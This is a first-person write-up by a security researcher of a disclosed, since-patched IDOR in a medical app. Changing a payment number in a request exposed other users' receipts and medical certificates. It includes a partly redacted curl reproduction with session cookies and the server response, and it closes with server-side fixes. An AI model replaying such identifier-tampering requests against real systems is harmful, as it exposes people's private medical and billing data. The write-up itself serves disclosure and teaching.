My First IDOR: One Number, Two Apps
I did not find my first IDOR by throwing a scanner at a target. I found it by watching a mobile app talk.
The target was a medical app from Latam. The company and identifying details are intentionally redacted, but the bug was real, the data was sensitive, and the lesson was simple: sometimes one predictable number is enough to cross a tenant boundary.
The issue was patched after disclosure.
The Bug
The app exposed payment receipts through a direct object reference. By changing the NumPago value in a request, an authenticated user could retrieve receipts that did not belong to them.
That is the core of an IDOR: the backend trusts an object identifier from the client, but does not verify that the current user is allowed to access that object.
In this case, the exposed documents included billing information, medical certificates, and payment receipts. The impact was worse because the same backend appeared to serve more than one branded application, which meant the same authorization flaw could expose data across both apps.
How I Found It
The first step was getting visibility.
The app used certificate pinning, so I had to bypass SSL pinning before Burp Suite could show me the traffic. I wrote the setup notes separately in Burp on Android.
Once I could inspect requests, the receipt flow stood out. The client sent a JSON body with a single payment number:
Endpoint:
POST https://******/P****/r****t/P******o?fmt=json
Body:
{
"NumPago": "8341713"
}
Changing that value returned a different receipt. No ownership check blocked it.
Reproducing It
The request below is redacted, but the important part is the NumPago value in the body. With a valid session, changing that identifier was enough to request another document.
curl -i -s -k -X $'POST' \
-H $'Host: ******' -H $'Authorization: Bearer a5a8bf******48' -H $'Genexus-Language: Spanish' -H $'Genexus-Theme: ******' -H $'Genexus-Agent: SmartDevice Application' -H $'Accept-Language: es-US,es' -H $'Gxtzoffset: America/Argentina/Buenos_Aires' -H $'Deviceosname: Android' -H $'Deviceosversion: 9' -H $'Deviceid: 4807e343-0ec6-38c0-a38b-e885476d6f75' -H $'Devicename: samsung - SM-J701M' -H $'Deviceplatform: Android Phone' -H $'Devicetype: 1' -H $'Gxappversioncode: 44000.000' -H $'Gxappversionname: 4.4.0' -H $'Gxapplicationid: ******' -H $'Content-Type: application/json; charset=utf-8' -H $'Content-Length: 21' -H $'Accept-Encoding: gzip, deflate' -H $'User-Agent: okhttp/4.9.2' -H $'Connection: close' \
-b $'BIGipServerpool-preprod-portal=3261245632.20480.0000; GX_CLIENT_ID=ed26c06b-8504-4ab1-9ef5-d04c76c59edd; JSESSIONID=CB2C0C5003CFF5AE2EEC55A4A80CA3FD; TS0130a800=012e9e8...5df9af; Set-Cookie=JSESSIONID%3DF8E4...663a608b4bc1ca61442e70922' \
--data-binary $'{\"NumPago\":\"8341713\"}' \
$'https://******/P****/r****t/P******o?fmt=json'
The server responded with a PDF URL:
{
"ErrorMsg":"",
"ErrorTit":"",
"UrlPDF":"https://******/1Hora/8****0a3e419.pdf"
}
At that point the issue was confirmed: the backend was returning an object selected by client-controlled input without validating authorization.
Impact
I treated this as critical because the exposed documents were not just generic purchase receipts. They could contain medical and billing context tied to real users.
The risky pattern was:
- A user requested a receipt by numeric identifier.
- The server returned the object if it existed.
- The server did not verify that the receipt belonged to the requesting user.
- The same backend appeared to serve multiple applications.
Fixes
The fix is not to hide the identifier. The fix is to enforce authorization on every object access.
Recommended controls:
- Validate receipt ownership server-side before returning any document.
- Avoid sharing data access paths between different applications unless tenant boundaries are explicit and enforced.
- Use indirect identifiers where possible, but never rely on them as the only protection.
- Add audit logs for document access, especially for sensitive medical or billing documents.
- Notify users about sensitive account activity.
- Require step-up authentication for high-risk flows.
- Keep mobile hardening controls in place, but treat them as defense-in-depth. SSL pinning and root detection do not replace backend authorization.
Takeaway
This was my first IDOR, and it changed how I look at mobile traffic.
The interesting part was not the bypass. It was the trust boundary. Once the app asked the server for NumPago, the real question was not “can I change this number?” The real question was “what does the backend prove before it answers?”
In this case, not enough.